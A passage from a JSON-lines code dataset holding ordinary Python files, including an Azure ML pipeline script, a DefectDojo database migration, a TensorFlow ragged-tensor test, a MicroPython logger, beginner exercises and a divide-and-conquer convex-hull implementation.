delete the line containing pass and\n # substitute with your code.\n pass\n","repo_name":"beneke090/heatpointextracter","sub_path":"heatpointextracter/heatPointExtracter.py","file_name":"heatPointExtracter.py","file_ext":"py","file_size_in_byte":24423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69888537962","text":"name_list = [\"smile\",\"lala\",\"kilig\",\"zhuanhzhuang\"]\n# 使用迭代遍历列表\n\"\"\"\n顺序的从列表中依次获取数据,每一次循环过程中,数据都会保存在\nmy_name这个变量中(my_name这个变量是自己随便取的),\n在循环体内部可以访问到当���这一次获取的数据\nfor my_name in name_list:\n print(\"我的名字叫%s\"%my_name)\n\"\"\"\nfor my_name in name_list:\n print(\"我的名字叫%s\"%my_name)","repo_name":"kiligsmile/python","sub_path":"05_高级数据类型/sml_05_列表遍历.py","file_name":"sml_05_列表遍历.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"8178899539","text":"import argparse\nfrom azureml.core import Dataset, Run\nfrom azureml.core.dataset import Dataset\nfrom azureml.core import Workspace\nfrom azureml.core import Experiment\nfrom azureml.pipeline.core import PublishedPipeline\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--process_folder_param\", type=str, help=\"process folder path\")\nargs = parser.parse_args()\n\nrun = Run.get_context()\nws = run.experiment.workspace\n\ndef_data_store = ws.get_default_datastore()\nmnist_ds_name = 'mnist_version_10_ds_'+ args.process_folder_param\nprint(mnist_ds_name)\n\npath_on_datastore = def_data_store.path(args.process_folder_param)\ninput_mnist_ds = Dataset.File.from_files(path=path_on_datastore, validate=False)\n\n# input_mnist_ds = input_mnist_ds.register(workspace=ws,\n# name= mnist_ds_name,\n# description='mnist images')\n\nexperiment = Experiment(ws, 'digit_identification')\npublished_pipeline = PublishedPipeline.get(workspace=ws, id=\"880353cd-1950-425a-b54b-1f89b625413e\")\npipeline_run = experiment.submit(published_pipeline, \n pipeline_parameters={\"mnist_param\": input_mnist_ds})","repo_name":"aidemos/mnist-batch-processing","sub_path":"azureml/pipelines/Code/create_file_dataset.py","file_name":"create_file_dataset.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22442861341","text":"# referência para alfabeto: https://www.ionos.com/digitalguide/online-marketing/social-media/what-is-leetspeak/\n\nimport random\nfHandle = open('out.txt', 'r')\nalfabeto = dict()\nfor linha in fHandle:\n alfabeto[linha[0]] = linha[2:len(linha)-1].split(',')\nfHandle.close()\n\ntexto = input('Texto: ')\nnovoTexto = ''\nfor letra in texto.upper():\n if (letra.isalpha()):\n opcoesLetra = alfabeto.get(letra)\n novoTexto += str(opcoesLetra[random.randint(0, len(opcoesLetra)-1)]).strip()\n else:\n novoTexto += letra\nprint(novoTexto)","repo_name":"iWesley72/exercicios-python","sub_path":"06_Strings/14_leet_generator.py","file_name":"14_leet_generator.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11170099011","text":"from django.db import migrations\nfrom django.db.models import Count, Q\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('dojo', '0149_harmonize_user_format'),\n ]\n\n def dedupe_endpoint_status(apps, schema_editor):\n Endpoint_Status = apps.get_model('dojo', 'endpoint_status')\n Endpoint = apps.get_model('dojo', 'endpoint')\n Finding = apps.get_model('dojo', 'finding')\n\n to_process = Endpoint_Status.objects.exclude(Q(endpoint=None) | Q(finding=None))\\\n .values('finding', 'endpoint').annotate(cnt=Count('id')).filter(cnt__gt=1)\n if to_process.count() == 0:\n logger.info('There is nothing to process')\n else:\n logger.warning('We identified %s group(s) of endpoint status which needs to be deduplicated',\n to_process.count())\n\n for eps_group in to_process:\n\n finding = Finding.objects.get(id=eps_group.get('finding'))\n ep = Endpoint.objects.get(id=eps_group.get('endpoint'))\n epss = Endpoint_Status.objects.filter(finding=finding, endpoint=ep)\n\n # we need to identify, when first was created\n first_date = epss.order_by('date').first().date\n\n # next we need to know, which store the most recent information\n last_id = epss.order_by('last_modified').last().id\n\n logger.debug('Redundant endpoint statuses on finding: \"%s\" & endpoint \"%s\" will be removed. We are '\n 'keeping only id: \"%s\" and we are setting date of the first identification: %s',\n str(finding), str(ep), last_id, first_date)\n\n # Remove all except of the most fresh one\n Endpoint_Status.objects.filter(finding=eps_group.get('finding'),\n endpoint=eps_group.get('endpoint')).exclude(id=last_id).delete()\n\n # Use the date from the oldest one\n eps = Endpoint_Status.objects.get(id=last_id)\n eps.date = first_date\n eps.save()\n\n operations = [\n migrations.RunPython(dedupe_endpoint_status)\n ]\n","repo_name":"DefectDojo/django-DefectDojo","sub_path":"dojo/db_migrations/0150_dedupe_endpoint_status.py","file_name":"0150_dedupe_endpoint_status.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":3128,"dataset":"github-code","pt":"18"} +{"seq_id":"40315191673","text":"import os\nfrom time import localtime\nfrom libs import config\n\n# stores tuples of records: timestamp = <1609459286>, NTP_synced = 0 / 1, message;\n# usage: import logger\n# logger.info('booting')\n\nlogfile_name = config.logger['logfile']\nfilesize_limit_byte = config.logger['filesize_limit_byte']\nlogfileCount = config.logger['logfileCount']\nlastlog = config.logger['lastlog']\nlogfile = logfile_name + '.' + str(lastlog)\nlogNvalues = list(range(logfileCount))\nrtc = ''\nNTP_synced = 0\nprint_log = config.logger['print_log'] # False will disable printing log messages\n# log levels: critical, error, warning, info, debug, notset\n\ndef nextLogFile():\n if lastlog == logfileCount -1:\n n = 0\n else:\n n = logNvalues[lastlog+1]\n updateLastlogConfig(n)\n\ndef updateLastlogConfig(n):\n global config, lastlog, logfile\n config.set('logger','lastlog',n)\n logfile = logfile_name + '.' + str(n)\n lastlog = n\n if logfile in os.listdir('/logs'):\n os.remove('/logs/' + logfile)\n\ndef check_fs_free_space():\n fs_stat = os.statvfs('/')\n fs_size = fs_stat[0] * fs_stat[2]/1024\n fs_free = fs_stat[0] * fs_stat[3]/1024\n info(\"File System Size {:,}KB - Free Space {:,}KB\".format(fs_size, fs_free))\n\ndef use_NTP(ntp):\n global rtc\n rtc = ntp\n\ndef debug(message):\n if config.logger['loglevel'] >= 1:\n log(message,1)\n\ndef info(message):\n if config.logger['loglevel'] >= 2:\n log(message,2)\n \ndef warning(message):\n if config.logger['loglevel'] >= 3:\n log(message,3)\n \ndef error(message):\n if config.logger['loglevel'] >= 4:\n log(message,4)\n\ndef critical(message):\n if config.logger['loglevel'] >= 5:\n log(message,5)\n \ndef log(message, level = 0):\n if rtc == '':\n NTP_synced = 0\n else:\n if rtc.datetime()[0] == 2021:\n NTP_synced = 0\n else:\n NTP_synced = 1\n now = now_DTF()\n # print debug information\n if __debug__ & print_log:\n print(now + ' ' + str(message))\n if config.logger['enable_log']:\n logformat = \"{},{},{},{}\\n\"\n logrecord = logformat.format(now,str(level),str(NTP_synced),str(message))\n # check file size\n if logfile in os.listdir('/logs'):\n if os.stat('/logs/' + logfile)[6] > filesize_limit_byte:\n nextLogFile()\n # write to file\n try:\n with open('/logs/' + logfile, 'a+') as f:\n f.write(logrecord)\n except Exception:\n print(\"Could not write file: /logs/\" + logfile)\n\ndef timetuple_to_DTF(timet,timezone='UTC'):\n # W3C-DTF, a subset of ISO8601 used also for HTTP headers\n # arguments:\n # timet = time.localtime() (year, month, day, hour, min, sec, weekday, yearday)\n # timezone, except for UTC, must be expressed in the format: '+02:00'\n if timezone == 'UTC':\n timezone = 'Z'\n # if ms are missing, add an element to the tuple\n if len(timet) == 8:\n timet = timet + (0,)\n if len(timet) != 9:\n print('tuple length is not 9')\n Tyear, Tmonth, Tday, Thour, Tmin, Tsec, Tweekday, Tyearday, Tms = (timet)\n Tdateandtime = \"{:02d}-{:02d}-{:02d}T{:02d}:{:02d}:{:02d}{}\"\n return Tdateandtime.format(Tyear, Tmonth, Tday, Thour, Tmin, Tsec, timezone)\n\ndef now_DTF():\n now = localtime()\n return timetuple_to_DTF(now)\n","repo_name":"aleppax/outdoorPMstation","sub_path":"softwarePico_src/libs/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"21315148702","text":"#------------------------------------------------------------------------------#\n# Task:\n# You are given a string S.\n# Your task is to find out if the string contains: alphanumeric characters,\n# alphabetical characters, digits, lowercase and uppercase characters.\n# Input Format:\n# A single line containing a string S.\n# Constraints:\n# 0 < len(S) < 1000\n# Output Format:\n# In the first line, print True if has any alphanumeric characters. Otherwise,\n# print False.\n# In the second line, print True if has any alphabetical characters. Otherwise,\n# print False.\n# In the third line, print True if has any digits. Otherwise, print False.\n# In the fourth line, print True if has any lowercase characters. Otherwise,\n# print False.\n# In the fifth line, print True if has any uppercase characters. Otherwise,\n# print False.\n#------------------------------------------------------------------------------#\n\nboolArray = [False, False, False, False, False]\n\nstring = input()\n\nfor char in string:\n if(char.isalnum()):\n boolArray[0] = True # isNumeric\n if(char.isalpha()):\n boolArray[1] = True # isAlphabet\n if(char.isdigit()):\n boolArray[2] = True # isDigit\n if(char.islower()):\n boolArray[3] = True # isLower\n if(char.isupper()):\n boolArray[4] = True # isUpper\n\nfor i in range(5):\n print(boolArray[i])\n","repo_name":"georgesims21/Python_HR-Challenges","sub_path":"4-Strings/string_validators.py","file_name":"string_validators.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35870698425","text":"\"\"\"Added Services to Station Model\n\nRevision ID: 423350744c8c\nRevises: 519654f4eb9c\nCreate Date: 2014-12-04 11:28:14.972747\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '423350744c8c'\ndown_revision = '519654f4eb9c'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('station', sa.Column('radioepg_enabled', sa.Boolean(), nullable=True))\n op.add_column('station', sa.Column('radioepg_service', sa.String(length=255), nullable=True))\n op.add_column('station', sa.Column('radiotag_enabled', sa.Boolean(), nullable=True))\n op.add_column('station', sa.Column('radiotag_service', sa.String(length=255), nullable=True))\n op.add_column('station', sa.Column('radiovis_enabled', sa.Boolean(), nullable=True))\n op.add_column('station', sa.Column('radiovis_service', sa.String(length=255), nullable=True))\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('station', 'radiovis_service')\n op.drop_column('station', 'radiovis_enabled')\n op.drop_column('station', 'radiotag_service')\n op.drop_column('station', 'radiotag_enabled')\n op.drop_column('station', 'radioepg_service')\n op.drop_column('station', 'radioepg_enabled')\n ### end Alembic commands ###\n","repo_name":"ebu/radiodns-manager","sub_path":"RadioDns-PlugIt/alembic/versions/423350744c8c_added_services_to_station_model.py","file_name":"423350744c8c_added_services_to_station_model.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"4005469524","text":"from absl.testing import parameterized\n\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops.ragged import ragged_factory_ops\nfrom tensorflow.python.platform import googletest\n\n\n@test_util.run_all_in_graph_and_eager_modes\nclass RaggedTensorBoundingShapeOp(test_util.TensorFlowTestCase,\n parameterized.TestCase):\n\n @parameterized.named_parameters([\n # rank = 2\n dict(testcase_name='docstring_example',\n rt=[[1, 2, 3, 4], [5], [], [6, 7, 8, 9], [10]],\n expected=[5, 4]),\n dict(testcase_name='shape_5_3',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n expected=[5, 3]),\n dict(testcase_name='shape_1_7',\n rt=[['a', 'b', 'c', 'd', 'e', 'f', 'g']],\n expected=[1, 7]),\n dict(testcase_name='shape_3_7',\n rt=[[], ['a', 'b', 'c', 'd', 'e', 'f', 'g'], []],\n expected=[3, 7]),\n dict(testcase_name='shape_5_3_row_splits_int32',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n rt_row_splits_dtype=dtypes.int32,\n expected=[5, 3]),\n dict(testcase_name='shape_0_0',\n rt=[],\n rt_ragged_rank=1,\n expected=[0, 0]),\n dict(testcase_name='shape_3_0',\n rt=[[], [], []],\n expected=[3, 0]),\n # rank = 3\n dict(testcase_name='shape_5_3_2',\n rt=[[[0, 1], [2]], [[3, 4], [], [5, 6]], [[7]], [], [[8, 9]]],\n expected=[5, 3, 2]),\n dict(testcase_name='shape_1_7_2',\n rt=[[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10, 11], [12, 13]]],\n expected=[1, 7, 2]),\n dict(testcase_name='shape_3_7_4',\n rt=[[], [[0, 1], [2], [], [3], [4], [5, 6, 7, 8], [9]], []],\n expected=[3, 7, 4]),\n dict(testcase_name='shape_1_7_2_ragged_rank_1',\n rt=[[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10, 11], [12, 13]]],\n rt_ragged_rank=1,\n expected=[1, 7, 2]),\n # axis != None\n dict(testcase_name='shape_5_3_axis_0',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n axis=0,\n expected=5),\n dict(testcase_name='shape_5_3_axis_1',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n axis=1,\n expected=3),\n dict(testcase_name='shape_5_3_axis_1_0',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n axis=[1, 0],\n expected=[3, 5]),\n # out_type != None\n dict(testcase_name='shape_5_3_row_splits_int64_out_type_int64',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n rt_row_splits_dtype=dtypes.int64,\n out_type=dtypes.int64,\n expected=[5, 3]),\n dict(testcase_name='shape_5_3_row_splits_int32_out_type_int32',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n rt_row_splits_dtype=dtypes.int32,\n out_type=dtypes.int32,\n expected=[5, 3]),\n dict(testcase_name='shape_5_3_row_splits_int64_out_type_int32',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n rt_row_splits_dtype=dtypes.int64,\n out_type=dtypes.int32,\n expected=[5, 3]),\n dict(testcase_name='shape_5_3_row_splits_int32_out_type_int64',\n rt=[['a', 'b'], ['c', 'd', 'e'], ['f'], [], ['g']],\n rt_row_splits_dtype=dtypes.int32,\n out_type=dtypes.int64,\n expected=[5, 3]),\n dict(testcase_name='shape_1_3_axis_1_row_splits_int64_out_type_int32',\n rt=[[1, 2, 3]],\n rt_row_splits_dtype=dtypes.int64,\n axis=1,\n out_type=dtypes.int32,\n expected=3)\n ]) # pyformat: disable\n def testBoundingShape(self,\n rt,\n expected,\n axis=None,\n out_type=None,\n rt_row_splits_dtype=dtypes.int64,\n rt_ragged_rank=None):\n rt = ragged_factory_ops.constant(\n rt, ragged_rank=rt_ragged_rank, row_splits_dtype=rt_row_splits_dtype)\n bounding_shape = rt.bounding_shape(axis=axis, out_type=out_type)\n self.assertAllEqual(bounding_shape, expected)\n if out_type is not None:\n self.assertEqual(bounding_shape.dtype, out_type)\n else:\n self.assertEqual(bounding_shape.dtype, rt_row_splits_dtype)\n\n # If we're testing a configuration that uses `axis`, then make sure\n # that it also works if `axis` is a tensor.\n if axis is not None:\n bounding_shape = rt.bounding_shape(\n axis=constant_op.constant(axis), out_type=out_type)\n self.assertAllEqual(bounding_shape, expected)\n if out_type is not None:\n self.assertEqual(bounding_shape.dtype, out_type)\n else:\n self.assertEqual(bounding_shape.dtype, rt_row_splits_dtype)\n\n\nif __name__ == '__main__':\n googletest.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/ops/ragged/ragged_tensor_bounding_shape_op_test.py","file_name":"ragged_tensor_bounding_shape_op_test.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"39797202580","text":"import matplotlib.pyplot as plt\n\nx=[]\ny=[]\nz=[]\nfor i in range(10):\n x.append(i)\n y.append(i*i-10)\n z.append(100-i**3/3)\n\n\nf,a = plt.subplots(2)\na[0].plot(x,x, label=\"x\", linewidth=0, marker=\"o\")\na[0].plot(x,y, label=\"x^2-10\", marker=\"^\")\na[0].legend()\n\na[0].set_title(\"Harom szep fuggveny\")\na[0].set_xlabel(\"x\")\na[0].set_ylabel(\"fuggvenyertekek\")\n\n\n\na[1].barh([\"Barnabas\", \"Eszter\", \"Mirjam\"], [172,168,161])\na[1].set_title(\"Testmagassagok\")\na[1].set_ylabel(\"Testmagasag (cm)\")\n\nf.savefig('foobar.jpg')\na[0].autoscale(False)\n\na[0].plot(x,z, label=\"100-x^3/3\", linewidth=5, linestyle=\"-.\")\na[0].legend()\n\nf.savefig('foobar2.jpg')\n\n\n","repo_name":"hegyhati/ClassRoomExamples","sub_path":"SOE/ProgAlap2/20210310_matplotlib/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"31503399959","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 24 18:55:19 2019\n@author: krishnaparekh\n\"\"\"\n\n#Rg_ID(pk),Rg_KdID(fk),Rg_Datum,Rg_Summe,Rg_AnzPos\n\nimport csv\nfrom random import randrange\nfrom faker import Faker\nfrom faker.providers import date_time\n\ndef datagenerate(records, headers):\n fake = Faker('de_DE')\n\n fake.add_provider(date_time)\n \n with open(\"rechnung.csv\", 'wt') as csvFile:\n writer = csv.DictWriter(csvFile, fieldnames=headers)\n writer.writeheader()\n for i in range(records):\n Rg_ID = i\n Rg_KdID = randrange(10)\n Rg_Datum = fake.date()\n Rg_Summe = (randrange(10)+1) * 1000 -1\n Rg_AnzPos = randrange(5)\n\n writer.writerow({\n \"Rg_ID\" : Rg_ID,\n \"Rg_KdID\" : Rg_KdID,\n \"Rg_Datum\": Rg_Datum,\n \"Rg_Summe\": Rg_Summe,\n \"Rg_AnzPos\": Rg_AnzPos\n })\n \nif __name__ == '__main__':\n records = 10\n headers = [\"Rg_ID\",\"Rg_KdID\",\"Rg_Datum\",\"Rg_Summe\",\"Rg_AnzPos\"]\n datagenerate(records, headers)\n print(\"CSV generation complete!\")\n","repo_name":"majorx234/python_csv_faker","sub_path":"CSVgenerateRechnung.py","file_name":"CSVgenerateRechnung.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"73925813799","text":"import os\nfrom functools import partial\nimport multiprocessing as mp\nimport pandas as pd\nfrom CPR import initialisation\nfrom CPR import macro\nfrom CPR import simulator\nfrom CPR import tools\nfrom CPR import analysis\n\nmodule_dir = os.path.dirname(os.path.dirname(__file__))\npath = '/CPR/data/params/'\n\ndef run_simulations(inputs, nsim=1, non_stochastic=False, n_jobs=None,\n **extra_params):\n \"\"\"\n This function launches the simulations. Any parameter can be changed\n using extra_params.\n\n Parameters\n ----------\n inputs : _io.TextIOWrapper\n csv file\n nsim : int, optional\n number of simulations, by default 1\n non_stochastic : bool, optional\n deterministic prices and price-rent ratio, by default False\n\n Returns\n -------\n Results\n instance of the class Results\n \"\"\"\n # check extra_params in common_params or prices:\n l_params = []\n for file_csv in ['prices.csv', 'common_params.csv', 'user_options.csv']:\n params = tools.get_params(module_dir + path + file_csv)\n l_params.extend(params.keys())\n for param in extra_params:\n assert param in l_params, f'{param} is not a parameter'\n\n if non_stochastic:\n nsim = 1\n\n common = macro.CommonParameters(nsim, non_stochastic, extra_params)\n prices = macro.Prices(common, extra_params)\n \n if type(inputs) is pd.Series:\n d_input = inputs.to_frame().to_dict()\n else:\n d_input = inputs.to_dict('index')\n\n hhs = [initialisation.create_hh(index, d_hh, common, prices)\n for index, d_hh in d_input.items()]\n jobs = [(hh, sim) for hh in hhs for sim in range(nsim)]\n\n if n_jobs is None:\n n_jobs = mp.cpu_count()\n \n if n_jobs > 1:\n with mp.Pool(processes=n_jobs) as pool:\n l_outputs = pool.map(partial(simulator.simulate,\n common=common, prices=prices), jobs)\n else:\n l_outputs = [simulator.simulate(job, common, prices) for job in jobs]\n\n output = pd.DataFrame.from_dict(l_outputs)\n results = analysis.Results(inputs, output, common, prices, extra_params)\n return results\n","repo_name":"rsi-models/CPR","sub_path":"CPR/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20060403753","text":"#Q1\nx=int(input(\"Enter The Radius Of Circle\"))\ndef area(x):\n area=3.14*x*x\n return area\nprint(area(x))\n\n#Q2:\ni=0\nnum=int(input(\"enter the range\"))\ndef perfect(num):\n add=0\n for i in range(1, num):\n if (num%i==0):\n add=add+i\n if (add==num):\n print(\"This is a prefect number\")\n else:\n print(\"This is not a prefect number\")\nprint(perfect(num))\n\n#Q3\ndef num_table(n, table=1):\n if table==11:\n return\n print(str(n)+\"x\"+str(table)+\"=\"+str(n*table))\n num_table(n,table+1)\nnum_table(12)\n\n#Q4\nuser_a=int(input(\"Enter the number\"))\nuser_b=int(input(\"Enter the other number\"))\ndef power(user_a,user_b):\n if(user_b==1):\n return user_a\n else:\n return (user_a*power(user_a,user_b-1))\nprint(power(user_b,user_a))\n\n#Q5:\nnumber=int(input(\"Enter The Number To Factorial\"))\ndef f(number):\n if number==0:\n return 1\n s=number*f(number-1)\n return s\na=f(number)\nd={number:a}\nprint(d)\n","repo_name":"useramandeep/assignment-2","sub_path":"assignment7.py","file_name":"assignment7.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70355419240","text":"import math\nimport sys\nimport functools\nimport matplotlib.pyplot as plt\n\n\"\"\"\nHow to find the convex edge for points in a plane\nActually, the implementation refers to \nhttps://blog.csdn.net/sinat_36246371/article/details/72808655\nhttps://www.geeksforgeeks.org/tangents-two-convex-polygons/\n\nTo be honest, the 1st edition just translated code in the link from c++ to python\nUsage divide and conquer for it, the step is:\n\n1. sort the points in X-axis\n2. recursive left and right parts\n3. if the points number is less than 5, then brute all points to find the convex side and order them in anti-clockwise sequence\n just check all edge, if all points in the same side of the edge, then it's the points in convex list\n4. merge left and right part, and order them in anti-clockwise order\n find the upper tangent and lower tangent for the two polygon, then add points from upper to lower to form a new polygon\n\nI compare two ways for 500 points, (D&C, Brute directly), the result is as below:\nD&C: 0.007566 O(nlogn)\nBrute: 20.843546 O(n3)\n\nThat's huge gap!!!! \n\nThis code is not optimized both in coding and efficiency, but the algorithm plays really important roles!!\nAlso, the mathmatics in such kind of problems is very import, or I can't get any clues for the solution!!\n\n\"\"\"\n\nmid = {'x':0, 'y':0}\n\ndef cmp_by_x(P1, P2):\n if P1['x'] > P2['x']:\n return 1\n elif P1['x'] == P2['x']:\n return 0\n else:\n return -1\n\n# check the quadriant of the points\ndef quad(pt):\n x = pt['x']\n y = pt['y']\n\n if x>=0 and y >= 0:\n return 1\n\n if x <= 0 and y >= 0:\n return 2\n\n if x <= 0 and y <= 0:\n return 3\n\n return 4 \n\n\ndef cmp(pt1, pt2):\n\n # print('pt1:%s pt2%s' % (str(pt1), str(pt2)))\n p1 = {}\n p1['x'] = pt1['x'] - mid['x']\n p1['y'] = pt1['y'] - mid['y']\n\n p2 = {}\n p2['x'] = pt2['x'] - mid['x']\n p2['y'] = pt2['y'] - mid['y']\n\n # print('p1:%s p2%s' % (str(p1), str(p2)))\n\n q1 = quad(p1)\n q2 = quad(p2)\n\n # print(\"q1:%d q2:%d\" % (q1, q2))\n\n if (q1 != q2):\n if q1 > q2:\n ret = 1\n else:\n ret = -1\n else:\n v1 = p1['y'] * p2['x']\n v2 = p2['y'] * p1['x']\n\n if v1 > v2:\n ret = 1\n elif v1 == v2:\n ret = 0\n else:\n ret = -1\n\n # print(\"ret: %d\" % ret)\n\n return ret\n\ndef brute_hull(Pts, start, end):\n pt_num = end - start + 1\n\n convex_hull_set = set()\n convex_hull_list = []\n\n # print('Total number is :%d' % pt_num)\n\n for i in range(start, end+1):\n for j in range(i+1, end+1):\n x1 = Pts[i]['x']\n x2 = Pts[j]['x']\n y1 = Pts[i]['y']\n y2 = Pts[j]['y']\n\n a = y1 - y2\n b = x2 - x1\n c = x1*y2 - x2*y1\n pos = 0\n neg = 0\n for k in range(start, end+1):\n x = Pts[k]['x']\n y = Pts[k]['y']\n\n if a*x+b*y+c >= 0:\n pos += 1\n if a*x+b*y+c <= 0:\n neg += 1\n\n # All points in one side of the vector, then the two points should in convex point list\n # print(\"Side: %s %s pos:%d neg:%d\" % (str(Pts[i]), str(Pts[j]), pos, neg))\n if pos == pt_num or neg == pt_num:\n convex_hull_set.add(i)\n convex_hull_set.add(j)\n\n # Sorting the points in the anti-clockwise order\n for pt in convex_hull_set:\n convex_hull_list.append(Pts[pt])\n\n mid['x'] = 0\n mid['y'] = 0\n\n num = len(convex_hull_list)\n for i in range(num):\n mid['x'] += convex_hull_list[i]['x']\n mid['y'] += convex_hull_list[i]['y']\n convex_hull_list[i]['x'] *= num\n convex_hull_list[i]['y'] *= num\n\n convex_hull_list = sorted(convex_hull_list, key=functools.cmp_to_key(cmp))\n\n for i in range(num):\n convex_hull_list[i]['x'] /= num\n convex_hull_list[i]['y'] /= num\n\n return convex_hull_list\n\ndef orientation(pt1, pt2, pt):\n res = (pt2['y'] - pt1['y']) * (pt['x'] - pt2['x']) - (pt['y'] - pt2['y']) * (pt2['x'] - pt1['x'])\n\n if res == 0:\n return 0\n if res > 0:\n return 1;\n return -1;\n\n\ndef merge_polygon(convex1, convex2):\n # Suppose convex1 and convex2 are sorted in anti-clockwise order\n\n # 1. find rightmost point in convex1 and leftmost convex2\n num1 = len(convex1)\n num2 = len(convex2)\n\n # print(\"convex1: %s\" % str(convex1))\n # print(\"convex2: %s\" % str(convex2))\n\n idx1 = 0\n for i in range(1, num1):\n if convex1[i]['x'] > convex1[idx1]['x']:\n idx1 = i\n\n idx2 = 0\n for i in range(1, num2):\n if convex2[i]['x'] < convex2[idx2]['x']:\n idx2 = i\n\n # 2. find upper tangent\n ind1 = idx1\n ind2 = idx2\n done = False\n while not done:\n done = True\n while (orientation(convex2[ind2], convex1[ind1], convex1[(ind1 + 1)%num1]) >= 0):\n ind1 = (ind1 + 1) % num1\n\n while (orientation(convex1[ind1], convex2[ind2], convex2[(num2 + ind2 -1)%num2]) <= 0):\n done = False\n ind2 = (num2 + ind2 - 1) % num2\n\n upper1 = ind1\n upper2 = ind2\n\n # 3. find lower tangent\n ind1 = idx1\n ind2 = idx2\n done = False\n while not done:\n done = True\n while (orientation(convex1[ind1], convex2[ind2], convex2[(ind2+1) % num2]) >= 0):\n ind2 = (ind2 + 1) % num2\n\n while (orientation(convex2[ind2], convex1[ind1], convex1[(num1 + ind1 - 1) % num1]) <=0 ):\n done = False\n ind1 = (num1 + ind1 - 1) % num1\n\n lower1 = ind1\n lower2 = ind2\n\n # 4. merge the two part into a list\n ret = []\n ind = upper1\n ret.append(convex1[ind])\n while ind != lower1:\n ind = (ind + 1) % num1\n ret.append(convex1[ind])\n\n ind = upper2\n ret.append(convex2[ind])\n while ind != lower2:\n ind = (num2 + ind - 1) % num2\n ret.append(convex2[ind])\n\n mid['x'] =0\n mid['y'] =0\n num = len(ret)\n for i in range(num):\n mid['x'] += ret[i]['x']\n mid['y'] += ret[i]['y']\n ret[i]['x'] *= num\n ret[i]['y'] *= num\n\n ret = sorted(ret, key=functools.cmp_to_key(cmp))\n\n for i in range(num):\n ret[i]['x'] /= num\n ret[i]['y'] /= num\n\n return ret\n \ndef divide_and_conquer_hull(Pts, start, end):\n length = end - start + 1\n\n if length <= 5:\n return brute_hull(Pts, start, end)\n\n mid_value = (start + end) // 2\n\n convex_left = divide_and_conquer_hull(Pts, start, mid_value)\n convex_right = divide_and_conquer_hull(Pts, mid_value+1, end)\n\n convex_list = [convex_left, convex_right]\n #plot_pts_and_convex(Pts, convex_list)\n\n ret = merge_polygon(convex_left, convex_right)\n\n return ret\n\ndef plot_pts_and_convex(Pts, convex_list):\n\n x_list = [p['x'] for p in Pts]\n y_list = [p['y'] for p in Pts]\n\n plt.plot(x_list, y_list, 'ro')\n\n for convex in convex_list:\n start_pt = convex[0]\n num = len(convex)\n for i in range(1, num):\n end_pt = convex[i]\n plt.plot([start_pt['x'], end_pt['x']], [start_pt['y'], end_pt['y']])\n start_pt = end_pt\n\n end_pt = convex[0]\n plt.plot([start_pt['x'], end_pt['x']], [start_pt['y'], end_pt['y']])\n plt.show()\n\n\nif __name__ == '__main__':\n import random\n import time\n\n if len(sys.argv) < 2:\n number = 10\n else:\n number = int(sys.argv[1])\n\n PT_set = set((random.randint(0, 1000), random.randint(0, 1000)) for i in range(number))\n Pts = [{'x': pt[0], 'y': pt[1]} for pt in PT_set]\n print('The number of points is %d' % len(Pts))\n Pts = sorted(Pts, key=functools.cmp_to_key(cmp_by_x))\n\n # print(Pts)\n\n\n # convex_hull_list = brute_hull(Pts)\n start = time.time()\n convex_hull_list = divide_and_conquer_hull(Pts, 0, len(Pts)-1)\n usage = time.time() - start\n print(\"Divide and Conquer: usage: 